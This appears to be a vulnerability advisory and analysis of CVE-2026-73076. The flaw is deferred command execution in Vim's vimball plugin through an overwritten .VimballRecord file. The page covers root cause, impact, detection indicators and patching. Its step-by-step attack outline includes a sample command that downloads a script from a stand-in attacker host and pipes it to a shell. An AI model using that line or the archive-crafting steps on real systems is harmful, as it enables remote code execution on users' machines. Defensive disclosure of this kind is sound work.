CVE-2026-73076: 
Vim Analyse et atténuation des vulnérabilités

CVE-2026-73076 is an arbitrary command execution vulnerability in Vim's vimball plugin (runtime/autoload/vimball.vim) that allows a crafted vimball archive to overwrite the .VimballRecord installation record with attacker-chosen Ex commands, which are later executed with the privileges of the user running Vim. It affects all Vim versions prior to 9.2.0847 and was disclosed on July 24, 2026, with a fix released in patch 9.2.0847. The CVSSv4 base score is 8.4 (High) (GitHub Advisory, Feedly).

The root cause is improper control of code generation (CWE-94) combined with inclusion of functionality from an untrusted control sphere (CWE-829). The vimball plugin records uninstallation commands in a plain-text file named .VimballRecord; while member filenames containing shell-injection characters (pipe, quote, closing parenthesis) were already rejected, a member named .VimballRecord itself was not blocked, allowing its content to overwrite the record file entirely without any content inspection. When vimball#RmVimball() later processes a matching record entry, it executes the stored Ex commands verbatim — including OS-level commands via :! — under the user's privileges. The fix in commit 581a2f3 blocks extraction of any member named .VimballRecord and restricts record execution to only the expected call delete(...) form, ignoring and reporting anything else (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary Ex commands and, through :!, arbitrary operating-system commands with the full privileges of the user running Vim. The attack is deferred — the malicious archive can appear harmless at install time, with the payload executing later during any unrelated vimball installation or removal, and persisting even after the original malicious archive is removed. This persistence mechanism increases the risk of undetected compromise, potential data exfiltration, and further lateral movement on the affected system (GitHub Advisory).

Exploitation requires user interaction: the victim must install a vimball from an attacker-controlled source, either by manually sourcing it or via the getscript plugin, which downloads and sources vimballs automatically. No public proof-of-concept exploit has been observed, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0 and the vulnerability is not listed in the CISA KEV catalog. The severity is rated Medium/Moderate by the Vim project because installing a vimball from an untrusted source already permits commands from that vimball to run; this issue extends that reach rather than creating it (GitHub Advisory, Feedly).

1. Craft a malicious vimball: Create a .vmb vimball archive that includes a member file named .VimballRecord containing attacker-chosen Ex commands (e.g., maliciousvimball.vmb: call system('curl http://attacker.com/shell.sh | sh')).
2. Distribute the vimball: Host the crafted vimball on a public repository, plugin distribution site, or deliver it via social engineering to the target user.
3. Victim installs the vimball: The victim sources the malicious .vmb file (:source malicious.vmb) or the getscript plugin automatically downloads and sources it. At this stage, the .VimballRecord file in the vimball installation directory is silently overwritten with the attacker's commands.
4. Trigger deferred execution: At a later time — when the victim installs or removes any vimball — vimball#RmVimball() reads .VimballRecord, finds the matching entry, and executes the stored Ex commands without validation, running the attacker's OS commands with the user's privileges.
5. Achieve objective: The attacker's payload (e.g., reverse shell, data exfiltration script, persistence mechanism) executes in the context of the Vim user, potentially long after the original malicious archive has been removed (GitHub Advisory, Fix Commit).

• File System: Unexpected or modified .VimballRecord file in the Vim installation/home directory containing entries that do not match the pattern call delete('<path>') or call delete('<path>',"d"); presence of unfamiliar .vmb files in plugin directories.
• Logs: Vim message history (:messages) showing unexpected command execution output or errors originating from vimball operations; absence of the expected (Vimball) Forbidding .VimballRecord filename warning on patched systems when a malicious archive is processed.
• Process: Unusual child processes spawned by Vim (e.g., sh, bash, curl, wget, python) during vimball install or remove operations; unexpected network connections originating from the Vim process or its children.
• Network: Outbound connections to unknown external hosts initiated shortly after a vimball operation is performed (GitHub Advisory).

Update Vim to version 9.2.0847 or later, which blocks extraction of any vimball member named .VimballRecord and restricts record execution to only safe call delete(...) forms (Fix Commit). As a workaround prior to patching, avoid installing vimball packages from untrusted or unverified sources, and inspect vimball contents before sourcing them. Users relying on the getscript plugin for automatic vimball downloads should disable it until the patch is applied (GitHub Advisory).

The vulnerability was reported by researcher tdjackey and acknowledged by the Vim project maintainer Christian Brabandt, who published the GitHub Security Advisory and committed the fix. The Vim project rated the severity as Moderate, noting that the issue extends the attack surface of untrusted vimball installation rather than introducing a wholly new attack primitive. No significant broader media coverage or notable social media discussion has been observed at this time (GitHub Advisory).